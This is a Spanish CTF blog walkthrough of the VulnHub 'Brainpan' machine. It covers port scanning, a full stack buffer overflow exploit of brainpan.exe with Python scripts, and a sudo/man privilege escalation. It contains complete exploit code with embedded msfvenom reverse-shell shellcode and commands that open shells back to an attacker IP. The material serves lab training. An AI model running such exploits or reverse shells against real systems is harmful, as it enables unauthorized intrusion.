Entrada

Brainpan

¡Hola, hacker! ¡Bienvenido a un nuevo post!

En este artículo, llevaremos a cabo la resolución de la máquina Brainpan alojada en la plataforma VulnHub. La máquina presenta un binario vulnerable a buffer overflow, al cual tenemos acceso para descargar y probar en una máquina auxiliar. Montaremos un pequeño laboratorio para realizar el debugging, utilizando InImmunity Dubugger junto con el script mona.py. Finalmente, aprovecharemos una configuración deficiente de sudo para elevar nuestros privilegios y lograr con éxito la escalada de privilegios.

Reconocimiento

Comenzamos lanzando una traza ICMP a la máquina objetivo para comprobar que tengamos conectividad.

Brainpan Reconocimento usando el comando ping

Vemos que responde al envío de nuestro paquete, verificando de esta manera que tenemos conectividad. Por otra parte, confirmamos que estamos frente a una máquina Linux basandonos en el TTL (Time To Live).

Descubrimiento de puertos abiertos

Realizamos un escaneo con nmap para descubrir que puertos TCP se encuentran abiertos en la máquina víctima.

1
nmap -sS -p- --open --T5 5 -Pn -n 192.168.1.10 -oG scanPorts -vvv

Brainpan Descubrimiento de puertos abiertos

Parámetros utilizados:

  • -sS: Realiza un TCP SYN Scan para escanear de manera sigilosa, es decir, que no completa las conexiones TCP con los puertos de la máquina víctima.
  • -p-: Indica que debe escanear todos los puertos (es igual a -p 1-65535).
  • --open: Solo considerar puertos abiertos.
  • -T5: Especifica el nivel de velocidad del escaneo. En este caso, se establece en el nivel 5, que es el más rápido y agresivo.
  • -Pn: Desactiva el descubrimiento de host por medio de ping.
  • -vvv: Activa el modo verbose para que nos muestre resultados a medida que los encuentra.
  • -oG: Determina el formato del archivo en el cual se guardan los resultados obtenidos. En este caso, es un formato grepeable, el cual almacena todo en una sola línea. De esta forma, es más sencillo procesar y obtener los puertos abiertos por medio de expresiones regulares, en conjunto con otras utilidades como pueden ser grep, awk, sed, entre otras.

Enumeración de versión y servicio

Lanzamos una serie de script básicos de enumeración propios de nmap, para conocer la versión y servicio que esta corriendo bajo los puertos abiertos.

1
nmap -sCV -p9999,10000 -oN targeted -vvv 192.168.1.10

Brainpan Descubrimiento de versión y servicio con nmap

Parámetros utilizados:

  • -sCV Es la combinación de los parámetros -sC y -sV. El primero determina que se utilizarán una serie de scripts básiscos de enumeración propios de nmap, para conocer el servicio que esta corriendo en dichos puertos. Por su parte, el segundo parámetro permite conocer más acerca de la versión de ese servicio.
  • -p-: Indica que debe escanear todos los puertos (es igual a -p 1-65535)
  • -oN: Determina el formato del archivo en el cual se guardan los resultados obtenidos, junto con el nombre del archivo targeted. En este caso, utiliza el formato por defecto de nmap.
  • -vvv: Activa el modo verbose para que nos muestre resultados a medida que los encuentra.

Explotación del Buffer Overflow

Cuando nos conectamos al puerto 9999, se nos presenta una aplicación de consola que solicita una contraseña para acceder.

Brainpan Aplicación de consola Brainpan

Probamos ingresar algun texto de prueba, pero vemos que no ocurre nada.

Ingresamos a la web que esta corriendo bajo el puerto 10000.

Brainpan Web

A simple vista, no encontramos nada interesante pero si hacemos un poco de fuzzing descubrimos la ruta /bin y bajo esta el binario brainpan.exe.

1
gobuster dir -u http://192.168.1.10:10000 -w /usr/share/wordlists/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt -t 20

Brainpan Web Fuzzing

Brainpan Ruta /bin

Descargamos el binario y luego empleamos el comando file para verificar que se trata de un ejecutable de 32 bits.

Brainpan Utilizamos el comando file para conocer un poco más sobre el binario

Para llevar adelante la explotación del Buffer Overflow, utilizaré una máquina Windows 7 de 64bits que servirá para realizar debugging sobre el binario en cuestión.

En primera instancia, transferimos el binario a nuestra máquina Windows 7 y lo ejecutamos.

Brainpan Ejecución del binario en la máquina Windows 7 de Debugging

Posteriormente, para comprobar que estamos frente a un buffer overflow nos conectamos a el puerto 9999 e ingresamos unas 800 A's.

Brainpan Comprobando que estamos fretne a un buffer overflow

Si observamos la ejecución del binario en la máquina con Windows 7, podemos notar que el proceso se corrompe, confirmando de esta manera que estamos frente a un buffer overflow.

Brainpan Ejecución del binario en la máquina Windows 7 de Debugging

Orden de ejecución del Buffer Overflow

Para poder explotar el buffer overflow, debemos realizar una serie de pasos en el siguiente orden:

  • Fuzzing para determinar limites del programa
  • Control del EIP - Búsqueda del offset
  • Generación de Bytearrays y detección de Badchars
  • Buscar el Pointer (JMP ESP)
  • Generar shellcode
  • Uso de NOPs
  • Programar el exploit

Requisitos:

Fuzzing para determinar limites del programa

En la fase inicial de explotación de un desbordamiento de buffer, una de las primeras tareas es determinar los límites del programa objetivo. Esto se logra al intentar introducir más caracteres de los permitidos en varios campos de entrada del programa, como una cadena de texto o un archivo, hasta que se observe que la aplicación se corrompe o falla.

Una vez identificado el límite del campo de entrada, el siguiente paso es descubrir el offset, que representa la cantidad exacta de caracteres que deben introducirse para provocar una corrupción en el programa y, por consiguiente, sobrescribir el valor del registro EIP.

El registro EIP (Extended Instruction Pointer) es un registro de la CPU que apunta a la dirección de memoria donde se encuentra la siguiente instrucción que se va a ejecutar. En un buffer overflow exitoso, el valor del registro EIP se sobrescribe con una dirección controlada por el atacante, lo que permite ejecutar código malicioso en lugar del código original del programa.

Por lo tanto, el objetivo de averiguar el offset es determinar el número exacto de caracteres que se deben introducir en el campo de entrada para sobrescribir el valor del registro EIP y apuntar a la dirección de memoria controlada por el atacante. Una vez que se conoce el offset, el atacante puede diseñar un exploit personalizado para el programa objetivo que permita tomar control del registro EIP y ejecutar código malicioso.

En esta etapa inicial, emplearemos un script en Python para determinar aproximadamente la cantidad de caracteres con la que la aplicación se corrompe.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
#!/usr/bin/env python3
import socket, sys, time

ip = "192.168.1.13" # ip máquina Windows 7 Debugging
port = 9999

payload = b"A" * 100


while True:
    try:
        with socket.socket(socket.AF_INET, socket.SOCK_STREAM) as s:
            s.settimeout(1)
            s.connect((ip, port))
            s.recv(1024)
            print("Fuzzing with {} bytes".format(len(payload)))
            s.send(payload)
            s.recv(1024)
    except:
        print("Fuzzing crashed at {} bytes".format(len(payload)))
        sys.exit(0)
    payload += b"A" * 100
    time.sleep(1)

Antes de ejecutar el script, debemos realizar algunas configuraciones previas en el Immunity Dubugger.

Primero que nada, ejecutamos el binario de brainpan.exe y luego el Immunity Dubugger. Posteriormente, debemos adjuntar el proceso actual del binario de brainpan al Immunity Dubugger para poder realizar el debugging.

Brainpan

Brainpan

Una vez realizado esto, debemos definir la carpeta de trabajo de mona.py.

1
!mona config -set workingfolder c:\Users\elliot\Desktop\%p

Brainpan Declaración de la carpeta de trabajo de mona.py

Por ultimo, no debemos olvidar correr el ejecutable.

Brainpan

De esta forma, ya podemos correr el fuzzer.py.

Brainpan Ejecución del script fuzzer.py

Brainpan Registro EIP

Vemos que el programa corrompe a los 600 bytes y que también logramos sobrescribir el registro EIP con nuestras A's (en hexadecimal el valor de A corresponde a 41).

Control del EIP

El siguiente paso, es poder tomar el control del registro EIP para poder indicarle la dirección de memoria donde se encuentra nuestro shellcode.

En este caso, haremos uso de un nuevo script de python exploit.py.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
#!/usr/bin/env python3
import socket

ip = "192.168.1.12"
port = 9999

payload = ""

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)

try:
  s.connect((ip, port))
  print("Enviando shellcode...")
  s.send(bytes(payload + "\r\n", "latin-1"))
  print("Conectado!")
except:
  print("No ha sido posible conectarse.")

Vamos a utilizar el script de ruby pattern_create.rb, el cual es un módulo de metasploit para crear una cadena más grande de la cual corrope la aplicación.

1
/usr/share/metasploit-framework/tools/exploit/pattern_create.rb -l 1000

El resultado devuelto por el comando anterior, lo asignamos a la variable payload.

Ejecutamos el exploit

Brainpan Ejecución del script exploit.py

Luego, en el Immunity Debugger ejecutamos el siguiente comando de mona:

1
!mona findmsp -distance 600

Brainpan Registro EIP

Brainpan Registro EIP

Una vez que conocemos el EIP podemos controlarlo.

Para obtener el offset, podemos hacer uso de otro módulo de metasploit llamado pattern_offset.rb. Este script, devuelve un número que corresponde al offset el cual deberemos agregar al script.

Para ejecutarlo, debemos pasarle el parámetro -q con la dirección del EIP obtenido:

1
/usr/share/metasploit-framework/tools/exploit/pattern_offset.rb -l 1000 -q 35724134

Brainpan pattern_offset.rb

Este valor lo asignamos a la variable offset y agregamos 4 B’s en la variable eip.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
#!/usr/bin/env python3
import socket

ip = "192.168.1.12"
port = 9999

offset = 524
before_eip = "A" * offset
eip = "B" * 4

payload = before_eip + eip

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)

try:
  s.connect((ip, port))
  print("Enviando shellcode...")
  s.send(bytes(payload + "\r\n", "latin-1"))
  print("Conectado!")
except:
  print("No ha sido posible conectarse.")

Si volvemos a ejecutar el script, el valor del EIP debería ser 42424242 que se corresponde con nuestras cuatro B's (en valor de B en hexadecimal es 42).

Brainpan Registro EIP

Generación de Bytearrays y detección de Badchars

En la generación de nuestro shellcode malicioso para la explotación del buffer overflow, es posible que algunos caracteres no sean interpretados correctamente por el programa objetivo. Estos caracteres se conocen como “badchars” y pueden causar que el shellcode falle o que el programa objetivo se cierre inesperadamente.

Para evitar esto, es importante identificar y eliminar los badchars del shellcode. Una vez identificados los badchars, se pueden descartar del shellcode final y generar un nuevo shellcode que no contenga estos caracteres. Para identificar los badchars, se pueden utilizar diferentes técnicas, como la introducción de diferentes bytearrays con caracteres hexadecimales consecutivos, que permiten identificar los caracteres que el programa objetivo no logra interpretar.

En primer lugar, ejecutamos el siguiente comando en el Immunity Debugger:

1
!mona bytearray -b "\x00"

El comando anterior, crea un objeto bytearray que contiene un patrón de bytes excluyendo el byte nulo (\x00).

  • mona: Es el comando para iniciar la extensión mona.
  • bytearray: Indica que se está generando un objeto bytearray.
  • -b "\x00": Especifica que se deben excluir los bytes nulos (\x00) en la generación del patrón.

Brainpan Generación de Bytearray

Podemos crear un simple recurso compartido utilizando impacket-smbserver en nuestra máquina atacante para transferir el archivo bytearray.txt.

1
impacket-smbserver -smb2support sharedFolder .

Brainpan Generación de Bytearray

Brainpan Generación de Bytearray

Brainpan Generación de Bytearray

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
#!/usr/bin/env python3
import socket

ip = "192.168.1.12"
port = 9999

offset = 524
before_eip = "A" * offset
eip = "B" * 4
badchars = (
"\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0b\x0c\x0d\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f\x20"
"\x21\x22\x23\x24\x25\x26\x27\x28\x29\x2a\x2b\x2c\x2d\x2e\x2f\x30\x31\x32\x33\x34\x35\x36\x37\x38\x39\x3a\x3b\x3c\x3d\x3e\x3f\x40"
"\x41\x42\x43\x44\x45\x46\x47\x48\x49\x4a\x4b\x4c\x4d\x4e\x4f\x50\x51\x52\x53\x54\x55\x56\x57\x58\x59\x5a\x5b\x5c\x5d\x5e\x5f\x60"
"\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c\x6d\x6e\x6f\x70\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7a\x7b\x7c\x7d\x7e\x7f\x80"
"\x81\x82\x83\x84\x85\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\x9f\xa0"
"\xa1\xa2\xa3\xa4\xa5\xa6\xa7\xa8\xa9\xaa\xab\xac\xad\xae\xaf\xb0\xb1\xb2\xb3\xb4\xb5\xb6\xb7\xb8\xb9\xba\xbb\xbc\xbd\xbe\xbf\xc0"
"\xc1\xc2\xc3\xc4\xc5\xc6\xc7\xc8\xc9\xca\xcb\xcc\xcd\xce\xcf\xd0\xd1\xd2\xd3\xd4\xd5\xd6\xd7\xd8\xd9\xda\xdb\xdc\xdd\xde\xdf\xe0"
"\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef\xf0\xf1\xf2\xf3\xf4\xf5\xf6\xf7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xff"
)

payload = before_eip + eip + badchars

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)

try:
  s.connect((ip, port))
  print("Sending shellcode...")
  s.send(bytes(payload + "\r\n", "latin-1"))
  print("Connected!")
except:
  print("It has not been possible to connect.")

Corremos el script y obtenemos el resultado del ESP.

Brainpan Registro ESP

Ejecutamos el siguiente comando para compararlos:

1
!mona compare -f c:\Users\elliot\Desktop\brainpan\bytearray.bin -a 0x0022F930

Brainpan Registro ESP

Si aparece algún badchar, tenemos que quitarlo del script y del bytearray generado por mona y volver a realizar el mismo proceso.

Pointer (JMP ESP)

Listando los módulos con mona, encontramos que el ejecutable brainpain.exe no tiene ninguna protección, por lo que podemos buscar alguna dirección de memoria que ejecute la instrucción JMP ESP, es decir, que realize un “salto” al registro ESP donde estara nuestro shellcode.

Brainpan !mona modules

Para realizar esta busqueda, debemos ejecutar el siguiente comando de mona:

1
!mona jmp -r esp -cpb "\x00" -m brainpan.exe
  • !mona: Hace referencia al script Mona en Immunity Debugger.
  • jmp: Indica que estás buscando instrucciones JMP.
  • -r esp: Especifica que deseas buscar instrucciones donde el destino sea el registro ESP.
  • -cpb "\x00": Indicamos que queremos evitar que contengan bytes nulos en la dirección, si existieran más badchars deberíamos indicarlos.
  • -m brainpan.exe: El parámetro -m especifica el módulo o el archivo de destino.

Brainpan JMP ESP

Brainpan JMP ESP

La dirección de memoria que corresponde con la instrucción JMP ESP es 0x311712F3, es ahí donde tiene que apuntar el registro EIP.

En hexadecimal, la instrucción JMP ESP se representa como FFE4, podemos comprobar esto haciendo uso del módulo nasm_shell de metasploit:

Brainpan nasm_shell.rb

ShellCode

Como ultimo punto, solo resta generar nuestro shellcode. Para ello utilizaremos msfvenom indicando como payload windows/shell_reverse_tcp de la siguiente forma:

1
msfvenom -p windows/shell_reverse_tcp LHOST=192.168.1.14 LPORT=4444 EXITFUNC=thread -f python -v shellcode -b '\x00'
  • msfvenom: La herramienta de generación de exploits y payloads en Metasploit.
  • -p windows/shell_reverse_tcp: Especifica el tipo de payload que se generará, en este caso, un shell de Windows con conexión de retorno TCP.
  • LHOST=192.168.1.14: Indica la dirección IP del host al que se conectará el shell. Debes reemplazar 192.168.1.14 con la dirección IP de tu máquina atacante.
  • LPORT=4444: Especifica el número de puerto al que se conectará el shell. En este caso, el puerto es 4444. Puedes cambiarlo según tus necesidades.
  • EXITFUNC=thread: Establece la técnica que el payload utilizará para salir. En este caso, se utiliza thread para salir mediante un hilo.
  • -b "\x00": Especifica los bytes que deben evitarse en el payload. En este caso, se están evitando los bytes nulos (\x00), lo que es común en técnicas de evasión.
  • -f c: Indica el formato de salida del payload. En este caso, se está utilizando el formato c (C code), lo que significa que el payload se generará como código C.

Brainpan shellcode

El resultado generado lo asignamos como valor de nuestra variable shellcode.

Además, como estamos frente a una arquitectura x86 las direcciones de memoria deben representarse en little-endian, es decir, el valor de nuestra variable eip que corresponde a la instrucción JMP ESP debe representarse de la siguiente forma:

1
eip = '\xf3\x12\x17\x31'

Uso de NOPs y desplazamientos en pila

Una vez que se ha encontrado la dirección del opcode que aplica el salto al registro ESP, es posible que el shellcode no sea interpretado correctamente debido a que su ejecución puede requerir más tiempo del que el procesador tiene disponible antes de continuar con la siguiente instrucción del programa.

Para solucionar este problema, se suelen utilizar técnicas como la introducción de NOPS (instrucciones de no operación) antes del shellcode en la pila. Los NOPS no realizan ninguna operación, pero permiten que el procesador tenga tiempo adicional para interpretar el shellcode antes de continuar con la siguiente instrucción del programa.

Los nops en hexadecimal se representan como \x90

Brainpan nops

En nuestro script, utilizaremos un total de 32 nops lo cual otorgara suficiente tiempo al procesador para ejecutar nuestro shellcode.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
#!/usr/bin/env python3

import socket, sys

ip = "192.168.1.12"
port = 9999

offset = 524
before_eip = b"A" * offset
eip = '\xf3\x12\x17\x31'

shellcode =  b""
shellcode += b"\xbf\x43\xec\x59\xa4\xdb\xd4\xd9\x74\x24\xf4"
shellcode += b"\x5d\x2b\xc9\xb1\x52\x83\xed\xfc\x31\x7d\x0e"
shellcode += b"\x03\x3e\xe2\xbb\x51\x3c\x12\xb9\x9a\xbc\xe3"
shellcode += b"\xde\x13\x59\xd2\xde\x40\x2a\x45\xef\x03\x7e"
shellcode += b"\x6a\x84\x46\x6a\xf9\xe8\x4e\x9d\x4a\x46\xa9"
shellcode += b"\x90\x4b\xfb\x89\xb3\xcf\x06\xde\x13\xf1\xc8"
shellcode += b"\x13\x52\x36\x34\xd9\x06\xef\x32\x4c\xb6\x84"
shellcode += b"\x0f\x4d\x3d\xd6\x9e\xd5\xa2\xaf\xa1\xf4\x75"
shellcode += b"\xbb\xfb\xd6\x74\x68\x70\x5f\x6e\x6d\xbd\x29"
shellcode += b"\x05\x45\x49\xa8\xcf\x97\xb2\x07\x2e\x18\x41"
shellcode += b"\x59\x77\x9f\xba\x2c\x81\xe3\x47\x37\x56\x99"
shellcode += b"\x93\xb2\x4c\x39\x57\x64\xa8\xbb\xb4\xf3\x3b"
shellcode += b"\xb7\x71\x77\x63\xd4\x84\x54\x18\xe0\x0d\x5b"
shellcode += b"\xce\x60\x55\x78\xca\x29\x0d\xe1\x4b\x94\xe0"
shellcode += b"\x1e\x8b\x77\x5c\xbb\xc0\x9a\x89\xb6\x8b\xf2"
shellcode += b"\x7e\xfb\x33\x03\xe9\x8c\x40\x31\xb6\x26\xce"
shellcode += b"\x79\x3f\xe1\x09\x7d\x6a\x55\x85\x80\x95\xa6"
shellcode += b"\x8c\x46\xc1\xf6\xa6\x6f\x6a\x9d\x36\x8f\xbf"
shellcode += b"\x32\x66\x3f\x10\xf3\xd6\xff\xc0\x9b\x3c\xf0"
shellcode += b"\x3f\xbb\x3f\xda\x57\x56\xba\x8d\x97\x0f\xc5"
shellcode += b"\x43\x70\x52\xc5\x4a\xdc\xdb\x23\x06\xcc\x8d"
shellcode += b"\xfc\xbf\x75\x94\x76\x21\x79\x02\xf3\x61\xf1"
shellcode += b"\xa1\x04\x2f\xf2\xcc\x16\xd8\xf2\x9a\x44\x4f"
shellcode += b"\x0c\x31\xe0\x13\x9f\xde\xf0\x5a\xbc\x48\xa7"
shellcode += b"\x0b\x72\x81\x2d\xa6\x2d\x3b\x53\x3b\xab\x04"
shellcode += b"\xd7\xe0\x08\x8a\xd6\x65\x34\xa8\xc8\xb3\xb5"
shellcode += b"\xf4\xbc\x6b\xe0\xa2\x6a\xca\x5a\x05\xc4\x84"
shellcode += b"\x31\xcf\x80\x51\x7a\xd0\xd6\x5d\x57\xa6\x36"
shellcode += b"\xef\x0e\xff\x49\xc0\xc6\xf7\x32\x3c\x77\xf7"
shellcode += b"\xe9\x84\x97\x1a\x3b\xf1\x3f\x83\xae\xb8\x5d"
shellcode += b"\x34\x05\xfe\x5b\xb7\xaf\x7f\x98\xa7\xda\x7a"
shellcode += b"\xe4\x6f\x37\xf7\x75\x1a\x37\xa4\x76\x0f"

after_eip = b"\x90" * 32 + shellcode

payload = before_eip + eip + after_eip

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)

try:
  s.connect((ip, port))
  print("Enviando shellcode...")
  s.send(payload + b"\r\n")
  print("Conectado!")
except:
  print("No ha sido posible conectarse.")
  sys.exit(1)

Prueba del exploit

Establecemos un listener con netcat por el puerto 4444.

Brainpan Establecemos un listener con nc

Ejecutamos el exploit

Brainpan Ejecutamos el exploit

Ganamos acceso a la máquina.

Brainpan Logramos explotar el buffer overflow en la máquina Windows 7 de Debugging

Exploit final y acceso a la máquina víctima

Ahora que tenemos pronto y probado el exploit, debemos generar el shellcode acorde al sistema operativo de la máquina victima, que en este caso es Linux. Por lo tanto, volvemos a ejecutar msfvenom indicando como payload linux/x86/shell_reverse_tcp.

1
msfvenom -p linux/x86/shell_reverse_tcp LHOST=192.168.1.14 LPORT=4444 EXITFUNC=thread -f python -v shellcode -b '\x00'

Nuestro exploit final es el siguiente:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
#!/usr/bin/env python3

import socket

ip = "192.168.1.10" # Asignamos la IP de la máquina Brainpan
port = 9999

offset = 524
before_eip = b"A" * offset
eip = b"\xf3\x12\x17\x31"

shellcode =  b""
shellcode += b"\xdb\xcf\xd9\x74\x24\xf4\xbb\x01\x95\xe8\x78"
shellcode += b"\x5a\x31\xc9\xb1\x12\x31\x5a\x17\x03\x5a\x17"
shellcode += b"\x83\xc3\x91\x0a\x8d\xf2\x42\x3d\x8d\xa7\x37"
shellcode += b"\x91\x38\x45\x31\xf4\x0d\x2f\x8c\x77\xfe\xf6"
shellcode += b"\xbe\x47\xcc\x88\xf6\xce\x37\xe0\xc8\x99\xc9"
shellcode += b"\xfe\xa0\xdb\xc9\xef\x6c\x55\x28\xbf\xeb\x35"
shellcode += b"\xfa\xec\x40\xb6\x75\xf3\x6a\x39\xd7\x9b\x1a"
shellcode += b"\x15\xab\x33\x8b\x46\x64\xa1\x22\x10\x99\x77"
shellcode += b"\xe6\xab\xbf\xc7\x03\x61\xbf"

after_eip = b"\x90" * 32 + shellcode

payload = before_eip + eip + after_eip

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)

try:
    s.connect((ip, port))
    print("[+] Enviando shellcode...")
    s.send(payload + b"\r\n")
    print("[+] Conectado!")
except:
    print("[!] No ha sido posible conectarse")

Establecemos un listener con netcat por el puerto 4444.

Brainpan Establecemos un listener con nc

Ejecutamos el exploit

Brainpan Ejecutamos el exploit

Ganamos acceso a la máquina Braipan.

Brainpan Ganamos acceso a la máquina

Escalación de privilegios

Si realizamos una enumeración básica del sistema, descubrimos que podemos ejecutar el binario ubicado en /home/anansi/bin/anansi_util mediante el comando sudo.

Cuando ejecutamos el comando, observamos que hay varias opciones disponibles que podemos utilizar como argumentos. Una de ellas es manual, que nos permite ejecutar el comando man seguido del segundo argumento que proporcionemos.

Brainpan sudo -l

Brainpan Ejecución de anansi_util

Realizando una búsqueda en GTFOBins, podemos identificar una oportunidad para elevar nuestros privilegios aprovechando el hecho de que man utiliza less como el paginador predeterminado en la mayoría de los sistemas Linux.

Brainpan GTFOBins man - sudo

Brainpan GTFOBins man - sudo

De esta forma, concluimos la resolución de la máquina Brainpan.

Espero que los conceptos hayan quedado claros. Si has llegado hasta este punto y aún tienes dudas, te recomiendo volver a realizar la máquina.

Gracias por tu lectura!

Happy Hacking!

Esta entrada está licenciada bajo CC BY 4.0 por el autor.